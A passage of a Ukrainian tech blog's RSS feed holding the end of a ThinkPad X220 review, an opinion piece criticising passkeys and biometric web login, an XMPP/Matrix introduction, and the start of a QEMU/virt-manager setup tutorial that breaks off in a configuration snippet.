комфортно працювати, а з тим &amp;mdash; ні.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Дуже шкода, що модні дизайнери
комп&amp;rsquo;ютерів забули (чи ніколи не знали) про ергономіку&lt;/strong&gt; і замість неї втілюють
свої дурнуваті ідеї того, як має виглядати обчислювальна машина.&lt;/p&gt;
&lt;p&gt;Але навіть виглядом, на мою думку, старі ThinkPad-и перевершують будь-що
сучасне. З одного боку дизайн такий старий, що вже не може вмерти, а з іншого
&amp;mdash; живіший та футуристичніший за всіх!&lt;/p&gt;
&lt;h3 id=&#34;підігрів&#34;&gt;Підігрів&lt;/h3&gt;
&lt;p&gt;Узимку дуже зручно погрітись від ноутбука, влітку &amp;mdash; не дуже.&lt;/p&gt;
&lt;h3 id=&#34;tablet&#34;&gt;Tablet&lt;/h3&gt;
&lt;p&gt;Мушу написати, що є версія ThinkPad x220 (й не тільки) з сенсорним екраном та пером!
Я оглядаю його та звичайний X220 в цьому відео:&lt;/p&gt;
&lt;iframe src=&#34;https://www.youtube.com/embed/YaFOTBQ68w0&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;h2 id=&#34;то-що&#34;&gt;ТО що?&lt;/h2&gt;
&lt;p&gt;Як бачимо, x220, як і багато інших старих ThinkPad-ів, задає дуже високу планку
якості та зручності (що не можна сказати про нові моделі, Lenovo лохи, спортили чудову серію ноутбуків).&lt;/p&gt;
&lt;p&gt;Залишається питання, на скільки ще часу його потужності вистачить?
Зважаючи на стабільне товстіння вебсайтів важко сказати, хоча &lt;a href=&#34;https://miliukhin.xyz/tutorials/efficient_browsing/#%D0%B1%D0%BB%D0%BE%D0%BA%D1%83%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F-%D1%80%D0%B5%D0%BA%D0%BB%D0%B0%D0%BC%D0%B8&#34;&gt;uMatrix&lt;/a&gt;
одразу засікає їх та присікає, і це тішить!&lt;/p&gt;
&lt;p&gt;Та загалом ми повинні добиватись
такої ж зручности в нових пристроях. І не дати праву на ремонт і трекпойнтам із ThinkLight-ом померти!&lt;/p&gt;
&lt;p&gt;До речі, якщо ви щасливо приватизували собі таке чудо, то
ось &lt;a href=&#34;https://miliukhin.xyz/links/hardware/thinkpad.html&#34;&gt;корисні ресурси для власників ThinkPad-ів&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Насправді ноутбукам не потрібні хороші динаміки,
особливо коли виробники розміщують їх не в тих місцях і вони паскудно звучать &amp;mdash;
ви все одно віддасте перевагу навушникам і зовнішнім колонкам.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>Touch ID для вебсайтів? Ні, дякую!</title>
		<link>https://miliukhin.xyz/articles/passkeys/</link>
		<pubDate>Mon, 18 Mar 2024 22:37:49 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/passkeys/</guid>
		<description>&lt;p&gt;Як зробити типу менеджер паролів і типу так, щоб контроль перейшов від користувача до великих IT-компаній?&lt;/p&gt;
&lt;h2 id=&#34;що-за-відмички&#34;&gt;Що за відмички?&lt;/h2&gt;
&lt;p&gt;Альянс FIDO (&amp;ldquo;Fast IDentity Online&amp;rdquo;, складається з Google, Apple, Amazon та інших, зроз) розробив стандарт
FIDO2 для безпарольної аутентифікації у вебсервісах &amp;mdash; [вебавтентифікації](&lt;a href=&#34;https://uk.wikipedia.org/wiki/WebAuthn&#34;&gt;WebAuthn&lt;/a&gt;, і хоче всіх на нього підсадити.
Бо паролі, бачте, проблема, але &lt;em&gt;фактично проблема &amp;mdash; тільки слабкі паролі та їх перевикористання, що вирішують менеджери паролів&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Вебавтентифікація чимось нагадує
користування ключами SSH &amp;mdash; ви так само генеруєте пару з публічного та
приватного ключа й даєте сервісу (сайту) публічний ключ, а приватний
використовуєте, щоб логінитись туди.&lt;/p&gt;
&lt;p&gt;Маркетоїди обізвали ці ключі Passkeys, тому я буду далі називати їх
&lt;strong&gt;відмичками&lt;/strong&gt;, бо такий переклад у словнику mova.org для stardict.&lt;/p&gt;
&lt;h2 id=&#34;це-зручно-ні&#34;&gt;Це зручно? (НІ)&lt;/h2&gt;
&lt;p&gt;Щоб випадкова людина не могла просто так узяти чужий пристрій та використати їх для входу в обліковий запис власника,
ключі SSH і паролі в менеджері паролів зазвичай захищають паролем.
Але корпорації зла вирішили, що паролі дають людям забагато свободи, тому відмички &amp;ldquo;захищають&amp;rdquo;
Touch і Face ID (типу зручно, диви, приклав палець &amp;mdash; зайшов на сайт, вау). А ще самі відмички не завжди зберігаються на вашому пристрої (добрий повідець придумали!).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Технологічні гіганти кажуть, що використання пальця для логіну на сайт
значно зручніше та безпечніше, ніж пароля. Насправді навпаки. Єдине,
що в такому випадку зручніше &amp;mdash; це замикання вас в екосистемі одної з
компаній-пропонентів цієї маячні. &lt;em&gt;Бо вони надіються, що всі танці будуть
через їх сервіси &amp;mdash; iCloud на аймонстрах, менеджер паролів Google та відповідно їх
реалізації Touch/Face ID і так далі.&lt;/em&gt; Щоб ви все більше залежали від їх
сервісів, щоб вони все сильніше вкорінювались на ринку.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://lapcatsoftware.com/articles/2023/5/1.html&#34;&gt;Apple змусила користувача увімкнути iCloud, щоб зберегти ключі&lt;/a&gt;. Тобто вони &lt;strong&gt;навіть не
зберігаються у вас, ТОБТО в будь-який момент у вас можуть забрати дані для
входу на всі сервіси в Інтернеті&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;posession-based-проти-knowledge-based&#34;&gt;Posession-based проти Knowledge-based&lt;/h2&gt;
&lt;p&gt;Ось, що пише на сайті Альянсу FIDO:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Enabling a fundamental shift to phishing-resistant authentication
From legacy, knowledge-based credentialing
To modern, possession-based credentialing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Крінж! Knowledge-based рулить, його значно важче обернути проти вас. &lt;strong&gt;Просто обмежте те, що вам треба знати&lt;/strong&gt;! Саме
тому менеджер паролів базований і це все фігня, і ось порівняння:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;&lt;/th&gt;
          &lt;th&gt;Відмички + Touch ID&lt;/th&gt;
          &lt;th&gt;Менеджер паролів&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Можлива кількість і складність паролів від бази?&lt;/td&gt;
          &lt;td&gt;максимум 20 на людину; навіть підбирати не треба, бо відбитки пальців можна дістати&lt;/td&gt;
          &lt;td&gt;Міняйте пароль, скільки влізе; Можлива будь-яка комбінація і сила пароля залежить тільки від вас&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Несанкціонований доступ&lt;/td&gt;
          &lt;td&gt;Ваш палець &lt;em&gt;узяли та приплюснули до сканера&lt;/em&gt; АБО зробили копію відбитку на базі фотографії, як уже робили&lt;/td&gt;
          &lt;td&gt;Головний пароль у вас &lt;strong&gt;у голові&lt;/strong&gt;, і, може, десь записаний (тільки ви знаєте, де)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Від чого ви залежні?&lt;/td&gt;
          &lt;td&gt;Копрорація віддалено відімкне свій пропрієтарний сканер відбитку чи просто закриє вам доступ до сервера з ключами, і ви без нічого. Ви можете втратити девайс чи просто зламається сканер відбитків, або ви відріжете собі палець болгаркою, і не зможете навіть зайти на сайт компанії, щоб надіслати запит на відновлення доступу до ключів чи скаргу (геніально!)&lt;/td&gt;
          &lt;td&gt;Від надійності бекапів та своєї пам&amp;rsquo;яті (пам&amp;rsquo;яті тексту одного пароля, підкріпленої м&amp;rsquo;язовою та візуальною пам&amp;rsquo;яттю)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Я, звісно, вважаю, що менеджер паролів вільний та локальний, що аргументував &lt;a href=&#34;https://miliukhin.xyz/articles/password_managers/&#34;&gt;у цій статті&lt;/a&gt;, де давав поради для його вибору. З Touch ID уявити свободу я не можу.
&lt;strong&gt;До речі, деякі менеджери паролів, зокрема &lt;a href=&#34;https://www.youtube.com/watch?v=L7uXFJfxf80&amp;amp;t=780&#34;&gt;KeePassXC&lt;/a&gt;, підтримують менеджмент цих ключів, тобто вам не треба залежати від вендорів із їх збирачами біометрії!&lt;/strong&gt; Але є ще деякі нюанси.&lt;/p&gt;
&lt;h2 id=&#34;ще-гірше&#34;&gt;Ще гірше&lt;/h2&gt;
&lt;p&gt;Цитую емейл з кінця &lt;a href=&#34;https://www.unixdigest.com/articles/are-passkeys-really-the-beginning-of-the-end-of-passwords-i-certainly-hope-not.html&#34;&gt;цієї статті&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[щодо] &lt;a href=&#34;https://fidoalliance.org/certification/authenticator-certification-levels/&#34;&gt;рівнів сертифікації FIDO&lt;/a&gt; та &lt;a href=&#34;https://fidoalliance.org/metadata/&#34;&gt;служби метаданих FIDO MDS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TLDR: сторона, на якій ви проходите автентифікацію, може просто сказати «ні, я не прийму автентифікацію з цього пристрою».&lt;/p&gt;
&lt;p&gt;Сервіси, які вимагають автентифікації, МОЖУТЬ вирішити вимагати певний
рівень сертифікації FIDO для прийняття пристрою. Процес сертифікації виглядає як
&amp;ldquo;pay to win&amp;rdquo;. Кожна служба повинна мати оновлений блоб MDS3, що містить
список сертифікованих пристроїв.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Це більше стосується апаратних автентифікаторів типу NitroKey, але
це може бути застосовано й до вебсервісів. Уявіть таке майбутнє: &lt;strong&gt;щоб зайти на сайт,
потрібно мати спеціальний пропрієтарний автентифікатор!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Коротше,
не використовуйте пропрієтарні вебавтентифікатори – не віддавайте свою безпеку в руки техногігантів.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>XMPP й Matrix на пальцях</title>
		<link>https://miliukhin.xyz/articles/matrix_and_xmpp/</link>
		<pubDate>Tue, 06 Feb 2024 12:10:18 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/matrix_and_xmpp/</guid>
		<description>&lt;p&gt;Я писав, що &lt;a href=&#34;https://miliukhin.xyz/articles/telegram/&#34;&gt;Telegram пропіканий&lt;/a&gt;, і
одразу пропоную альтернативи, а не кажу, щоб ви це знали, і сиділи там далі,
але з дуже великим засудженням. Тому поговоримо про XMPP та Matrix.&lt;/p&gt;
&lt;p&gt;Вони обоє підтримують як повідомлення (до речі, &lt;em&gt;наскрізно зашифровані і особисті
і у групах&lt;/em&gt;, шах і мат паша дуров), так і аудіо/відеодзвінки.&lt;/p&gt;
&lt;p&gt;XMPP &amp;mdash; мінімалістичний та базований, а Matrix товстіший та з більшою кількістю
зумерських надбудов типу відеоконференцій чи інтеграції з ґітхабом.
Я раджу XMPP, бо він швидший та надійніший. Але спробуйте обидва.&lt;/p&gt;
&lt;p&gt;До речі, XMPP використовує армія США та NASA й багато інших компаній, а Matrix користуються наші військові.&lt;/p&gt;
&lt;h3 id=&#34;то-в-чому-децентралізація&#34;&gt;То в чому децентралізація?&lt;/h3&gt;
&lt;p&gt;Оскільки це вільні протоколи, а не сервіси, то
&lt;strong&gt;будь-хто може запустити сервер Matrix чи XMPP&lt;/strong&gt; (&lt;em&gt;фактично зробити свій месенджер&lt;/em&gt;)
та налаштувати його на спілкування з іншими серверами. Тоді його користувачі мають
змогу &lt;strong&gt;писати користувачам інших серверів&lt;/strong&gt;, наприклад, так:&lt;/p&gt;

&lt;figure
	 style=&#34;max-width: 500px;&#34;&gt;
		&lt;img src=&#34;diag.webp&#34; width=&#34;500px&#34; alt=&#34;Діаграма показує, як люди, під&amp;#39;єднані до одного сервера XMPP, можуть через з&amp;#39;єднання між серверами надсилати повідомлення людям на іншому сервері&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Нагадує електронну пошту, правда? В XMPP навіть адреси пишуться так само: &lt;code&gt;користувач@сервер.тлд&lt;/code&gt;.
Це дозволяє побудувати мережу,
де ви, маючи з друзями свій сервер, повністю контролюєте ваші дані,
але водночас не відрізані від решти суспільства.&lt;/p&gt;
&lt;p&gt;Можна, навпаки, прибрати цю функцію, і створити закритий сервер суто для своєї компанії чи друзів.&lt;/p&gt;
&lt;h2 id=&#34;так-куди-клацати&#34;&gt;Так куди клацати?&lt;/h2&gt;
&lt;p&gt;Якщо ви хочете поставити собі матрицю, вам &lt;a href=&#34;https://foresle.github.io/forblog.live/posts/articles/d1dd662735874a70af8d571a4c064cec/&#34;&gt;сюда&lt;/a&gt;.
Якщо ж ставите XMPP, то це відео вам усе розкаже та покаже:&lt;/p&gt;
&lt;iframe src=&#34;https://youtube.com/embed/IX-Wu_es04M&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;h3 id=&#34;який-клієнт-обрати&#34;&gt;Який клієнт обрати?&lt;/h3&gt;
&lt;p&gt;Їх багато, і це класно, бо кожен може обрати,
що йому подобається, але спочатку це збиває з пантелику.
Можу порадити Conversations та Gajim для XMPP,
і SchildiChat та Element для Matrix. Якщо любите текстові інтерфейси &amp;mdash; profanity та gomuks.&lt;/p&gt;
&lt;p&gt;Тут можна знайти більше клієнтів для
&lt;a href=&#34;https://xmpp.org/getting-started/&#34;&gt;XMPP&lt;/a&gt;
та
&lt;a href=&#34;https://matrix.org/ecosystem/clients/&#34;&gt;Matrix&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;а-сервер&#34;&gt;А сервер?&lt;/h3&gt;
&lt;p&gt;Залишилось зареєструватись на якомусь зручному сервері.
Списки українських серверів XMPP, Matrix та інших сервісів є на &lt;a href=&#34;https://cakestwix.github.io/WebUkrainianStuff/comms/xmpp&#34;&gt;WebUkrainianStuff&lt;/a&gt;.
Можете реєструватись на якому завгодно, але так простіше одне одного знайти. Взагалі, можете зареєструватись на сотні серверів. Обмежень нема, це ж не тележка.&lt;/p&gt;
&lt;p&gt;Нагадую, що &lt;strong&gt;ви можете розгорнути власний сервер&lt;/strong&gt; (це не складніше, ніж
встановити вебсервер). Для XMPP я раджу Prosody (мінімалістичний →
безпечніший), а Matrix не встановлював, тому нічо писати не буду. &lt;strong&gt;Зручні
посібники зі всього є на &lt;a href=&#34;https://landchad.net&#34;&gt;https://landchad.net&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;вітаю-ви-звільнились&#34;&gt;Вітаю, ви звільнились!&lt;/h2&gt;
&lt;p&gt;Після цього кличте всіх своїх друзів та рідних у цифровий рай без диктатури,
реклами та порушень конфіденційності 😉.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Встановлення віртуалок з QEMU та Virt-Manager &#43; virsh, SSH у віртуальні машини!</title>
		<link>https://miliukhin.xyz/articles/qemu_basics/</link>
		<pubDate>Sat, 03 Feb 2024 21:40:52 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/qemu_basics/</guid>
		<description>&lt;p&gt;Нащо лінукс на лінуксі?
Тому що віруталки це зручно.
Можна постворювати різні машини для різних задач
і не боятися, що ви зламаєте собі комп&amp;rsquo;ютер.&lt;/p&gt;
&lt;p&gt;Відеоверсія з використанням Virt-Manager:&lt;/p&gt;
&lt;iframe src=&#34;https://www.youtube.com/embed/wDzD6b5waDg&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;p&gt;&lt;strong&gt;В біосі має бути увімкнута віртуалізація!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;потрібні-пакунки&#34;&gt;Потрібні пакунки&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pacman -S qemu-full  virt-manager virt-viewer dnsmasq dnsmasq-runit vde2 bridge-utils openbsd-netcat
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;# libguestfs # для зручного керування файловими системами віртуалок&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- qemu-full 			 емулятор
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- virt-manager virt-viewer 	 GUI для менеджменту та взаємодії
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- dnsmasq dnsmasq-runit 	 dns + dhcp сервер
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- vde2 				 Virtual Distributed Ethernet блаблаа
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- bridge-utils 			 Utilities for configuring the Linux ethernet bridge
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;- openbsd-netcat 		 TCP/IP swiss army knife
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;libguestfs необов&amp;rsquo;язково, можна використовувати nbd або ssh.&lt;/p&gt;
&lt;p&gt;Також якщо ви користуєтесь не systemd, а іншими системами ініціалізації,
потрібно встановити скрипти для libvirt. Наприклад, libvirt-runit для runit.&lt;/p&gt;
&lt;h2 id=&#34;налаштування&#34;&gt;Налаштування&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Конфіг демона.
&lt;em&gt;На systemd не треба такого робити, а на інших:&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;vim /etc/libvirt/libvirtd.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;unix_sock_group&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;libvirt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;unix_sock_ro_perms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;0777&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;unix_sock_rw_perms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;0770&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Додати себе до групи лібвірт &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo usermod -aG libvirt &amp;lt;user&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# а також kvm, а libvirt-qemu не тре&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Стартуєм сервіс libvirt і сервіс логування (показую на runit)&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ln -s /etc/runit/sv/libvirtd /run/runit/service
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ln -s /etc/runit/sv/virtlogd /run/runit/service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Можна ставити віртуалку&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;встановлення-через-командний-рядок&#34;&gt;Встановлення через командний рядок&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;virt-install --name n00buntu --memory &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt; --disk &lt;span class=&#34;nv&#34;&gt;path&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;vms/n00buntu.qcow2,size&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;20&lt;/span&gt; --os-variant ubuntu22.10 --cdrom /home/sasha/vms/iso/ubuntu-22.04.3-live-server-amd64.iso
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Але щоб працювати з машинами з вірт-менеджера,
потрібно встановити посилання для з&amp;rsquo;єднання &lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; :&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;virsh --connect qemu:///system list --all
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;LIBVIRT_DEFAULT_URI&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;qemu:///system&amp;#39;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;# або записати це в VIRSH_DEFAULT_CONNECT_URI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;або розкоментувати в &lt;code&gt;.config/libvirt/libvirt.conf&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;uri_default = &amp;#34;qemu:///system&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;отримати-ip-віртуалки&#34;&gt;Отримати IP віртуалки&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;virsh net-dhcp-leases default
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;або (зручніше)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;virsh list
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;virsh domifaddr &amp;lt;Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;логінимось:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh &amp;lt;отримана_адреса&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;підвищення-швидкодії-шинди-10-11&#34;&gt;Підвищення швидкодії шинди 10 (11?)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-tips_and_tricks-libvirt_managed_timers&#34;&gt;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-tips_and_tricks-libvirt_managed_timers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gist.github.com/matt-FFFFFF/e5df7062b344b38b7a33b86a0df7b4c5&#34;&gt;https://gist.github.com/matt-FFFFFF/e5df7062b344b38b7a33b86a0df7b4c5&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;clock&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;localtime&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- прибрати
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;   &amp;lt;timer name=&amp;#39;rtc&amp;#39; tickpolicy=&amp;#39;catchup&amp;#39;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;   &amp;lt;timer name=&amp;#39;pit&amp;#39; tickpolicy=&amp;#39;delay&amp;#39;/&amp;gt;
